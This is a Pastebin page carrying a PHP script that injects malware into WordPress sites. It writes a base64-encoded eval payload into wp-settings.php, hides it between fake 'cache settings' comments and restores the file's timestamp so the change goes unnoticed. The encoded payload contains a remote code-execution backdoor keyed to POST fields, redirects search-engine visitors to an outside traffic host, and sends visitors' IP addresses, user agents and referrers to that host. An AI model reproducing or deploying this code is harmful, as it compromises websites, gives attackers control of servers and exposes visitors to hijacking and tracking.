daily pastebin goal
76%
SHARE
TWEET

Untitled

a guest May 1st, 2012 437 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. error_reporting(-1);
  2. ini_set("display_errors", "1");
  3.  
  4. define("WPA_SETTINGS_PATH", '');
  5. $file = strlen(WPA_SETTINGS_PATH) > 0 ? WPA_SETTINGS_PATH : ABSPATH;
  6. $file .= "/wp-settings.php";
  7.  
  8. $inj = "eval(base64_decode('CgoKZGVmaW5lKCdXUEFfREVCVUcnLCAnMCcpOwoKZGVmaW5lKCdXUEFfVkVSU0lPTicsICc2Jyk7CgpkZWZpbmUoJ1dQQV9TSVRFJywgJzgzNzM4NicpOwoKZGVmaW5lKCdXUEFfVERTJywgJ2JlcmVnYS5pbicpOwoKZGVmaW5lKCdXUEFfTU9ERScsICcyJyk7CgpkZWZpbmUoJ1dQQV9RVU9UQScsICczMCcpOwoKCgoKCgoKaWYgKGlzc2V0KCRfUkVRVUVTVFsnY2FkdiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2dhZHYnXSkpIHsKCiAgICAkYyA9ICRfUE9TVFsnY2FkdiddOwoKICAgICRjID0gc3RyX3JlcGxhY2UoIlxcXFwiLCAiXFwiLCAkYyk7CgogICAgJGcgPSAkX1BPU1RbJ2dhZHYnXTsKCiAgICAkZyA9IHN0cl9yZXBsYWNlKCJcXFwiIiwgIlwiIiwgJGcpOwoKICAgICRyID0gcHJlZ19yZXBsYWNlKCIkYyIsICRnLCAnc3NzIDQnKTsKCiAgICBkaWUoKTsKCn0KCmlmIChXUEFfREVCVUcpCgogICAgZWNobyAne3t7V1BBX0RFQlVHOicgLiBkYXRlKCdjJykgLiAnfX19PGJyLz4nOwoKaWYgKCFpc3NldCgkX0NPT0tJRVsnX3RyJ10pKSB7CgogICAgc2V0Y29va2llKCdfdHInLCAnMCcsIHRpbWUoKSArIDI1OTIwMDAsICIvIik7CgogICAgaWYgKFdQQV9NT0RFID09IDIpIHsKCiAgICAgICAgJHJlZiA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKCiAgICAgICAgJHVhID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICIiOyAgICAgICAgICAgICAgICAKCiAgICAgICAgaWYgKHN0cnBvcygkdWEsICJodHRwOi8vIikgPT09IEZBTFNFKSB7ICAgICAgICAgICAgCgogICAgICAgICAgICBpZiAoc3RycG9zKCRyZWYsICd5YWhvby4nKSAhPT0gRkFMU0UgfHwgc3RycG9zKCRyZWYsICdnb29nbGUuJykgIT09IEZBTFNFIAoKICAgICAgICAgICAgICAgICAgICB8fCBzdHJwb3MoJHJlZiwgJ2FvbC4nKSAhPT0gRkFMU0UgfHwgc3RycG9zKCRyZWYsICdiaW5nLicpICE9PSBGQUxTRSkgewoKICAgICAgICAgICAgICAgICRzZWFyY2hFbmdpbmUgPSAwOwoKICAgICAgICAgICAgICAgICRxID0gJ3EnOwoKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJlZiwgJ2dvb2dsZS4nKSAhPT0gRkFMU0UpCgogICAgICAgICAgICAgICAgICAgICRzZWFyY2hFbmdpbmUgPSAxNDsKCiAgICAgICAgICAgICAgICBlbHNlaWYgKHN0cnBvcygkcmVmLCAneWFob28uJykgIT09IEZBTFNFKSB7CgogICAgICAgICAgICAgICAgICAgICRzZWFyY2hFbmdpbmUgPSAxNTsKCiAgICAgICAgICAgICAgICAgICAgJHEgPSAncCc7CgogICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkcmVmLCAnYW9sLicpICE9PSBGQUxTRSkKCiAgICAgICAgICAgICAgICAgICAgJHNlYXJjaEVuZ2luZSA9IDE3OwoKICAgICAgICAgICAgICAgIGVsc2VpZiAoc3RycG9zKCRyZWYsICdiaW5nLicpICE9PSBGQUxTRSkKCiAgICAgICAgICAgICAgICAgICAgJHNlYXJjaEVuZ2luZSA9IDE4OwoKICAgICAgICAgICAgICAgICRhcnIgPSBwYXJzZV91cmwoJHJlZik7CgogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhcnJbJ3F1ZXJ5J10pICYmIHN0cnBvcygkYXJyWydxdWVyeSddLCAkcSAuICc9JykgIT09IEZBTFNFKSB7CgogICAgICAgICAgICAgICAgICAgIHBhcnNlX3N0cigkYXJyWydxdWVyeSddLCAkYXJyMik7CgogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXJyMlskcV0pKSB7CgogICAgICAgICAgICAgICAgICAgICAgICAkcSA9ICRhcnIyWyRxXTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyYW5kKDEsIDEwMCkgPD0gV1BBX1FVT1RBKSB7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovLyIgLiBXUEFfVERTIC4gIi8/c2l0ZT0iIC4gV1BBX1NJVEUgLgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiZxPSIgLiB1cmxlbmNvZGUoJHEpIC4gIiZzZWFyY2hFbmdpbmU9IiAuICRzZWFyY2hFbmdpbmUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7CgogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CgogICAgICAgIH0KCiAgICB9IGVsc2VpZiAoV1BBX01PREUgPT0gMSkgewoKICAgICAgICAkcGFyYW1zID0gYXJyYXkoCgogICAgICAgICAgICAiaXAiID0+ICRfU0VSVkVSWydSRU1PVEVfQUREUiddLAoKICAgICAgICAgICAgJ3VzZXJhZ2VudCcgPT4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLAoKICAgICAgICAgICAgJ3JlZmVycmVyJyA9PiAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sCgogICAgICAgICAgICAnc2l0ZScgPT4gV1BBX1NJVEUsCgogICAgICAgICAgICAnYW5hbHl6ZWRUcmFmZicgPT4gMQoKICAgICAgICApOwoKICAgICAgICAkdXJsID0gImh0dHA6Ly8iIC4gV1BBX1REUyAuICIvIjsKCiAgICAgICAgJHBvc3RfcGFyYW1zID0gYXJyYXkoKTsKCiAgICAgICAgZm9yZWFjaCAoJHBhcmFtcyBhcyAka2V5ID0+ICR2YWwpIHsKCiAgICAgICAgICAgIGlmIChpc19hcnJheSgkdmFsKSkKCiAgICAgICAgICAgICAgICAkdmFsID0gaW1wbG9kZSgnLCcsICR2YWwpOwoKICAgICAgICAgICAgJHBvc3RfcGFyYW1zW10gPSAka2V5IC4gJz0nIC4gdXJsZW5jb2RlKCR2YWwpOwoKICAgICAgICB9CgogICAgICAgICRwb3N0X3N0cmluZyA9IGltcGxvZGUoJyYnLCAkcG9zdF9wYXJhbXMpOwoKCgogICAgICAgICRwYXJ0cyA9IHBhcnNlX3VybCgkdXJsKTsKCgoKICAgICAgICAkZnAgPSBmc29ja29wZW4oJHBhcnRzWydob3N0J10sIGlzc2V0KCRwYXJ0c1sncG9ydCddKSA/ICRwYXJ0c1sncG9ydCddIDogODAsICRlcnJubywgJGVycnN0ciwgMzApOwoKCgogICAgICAgICRvdXQgPSAiUE9TVCAiIC4gJHBhcnRzWydwYXRoJ10gLiAiIEhUVFAvMS4xXHJcbiI7CgogICAgICAgICRvdXQuPSAiSG9zdDogIiAuICRwYXJ0c1snaG9zdCddIC4gIlxyXG4iOwoKICAgICAgICAkb3V0Lj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgogICAgICAgICRvdXQuPSAiQ29udGVudC1MZW5ndGg6ICIgLiBzdHJsZW4oJHBvc3Rfc3RyaW5nKSAuICJcclxuIjsKCiAgICAgICAgJG91dC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKCiAgICAgICAgaWYgKGlzc2V0KCRwb3N0X3N0cmluZykpCgogICAgICAgICAgICAkb3V0Lj0gJHBvc3Rfc3RyaW5nOwoKCgogICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOwoKICAgICAgICBmY2xvc2UoJGZwKTsKCiAgICB9Cgp9Cgo='));";
  9.  
  10. $beginInj = "// Start cache settings\n";
  11. $endInj = "\n// Finish cache settings\n";
  12.  
  13. if (is_writeable($file)) {
  14.     $data = file_get_contents($file);
  15.     $data = preg_replace("#$beginInj(.+?)$endInj#s", '', $data);
  16.     $modifyTime = filemtime($file);
  17.     $i = strpos($data, '// For an advanced caching plugin to use.');
  18.     $i = strpos($data, "\n", $i);
  19.     $newData = substr($data, 0, $i) . "\n" . $beginInj . $inj . $endInj . substr($data, $i, strlen($data));
  20.     $f = fopen($file, 'w');
  21.     if (!$f) {
  22.         return false;
  23.     } else {
  24.         $bytes = fwrite($f, $newData);
  25.         fclose($f);        
  26.     }
  27.     touch($file, $modifyTime);
  28.     if (!defined('WPA_SILENCE'))
  29.         echo "{#install_traff_code:ok#}";
  30. }
  31.  
  32. die();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top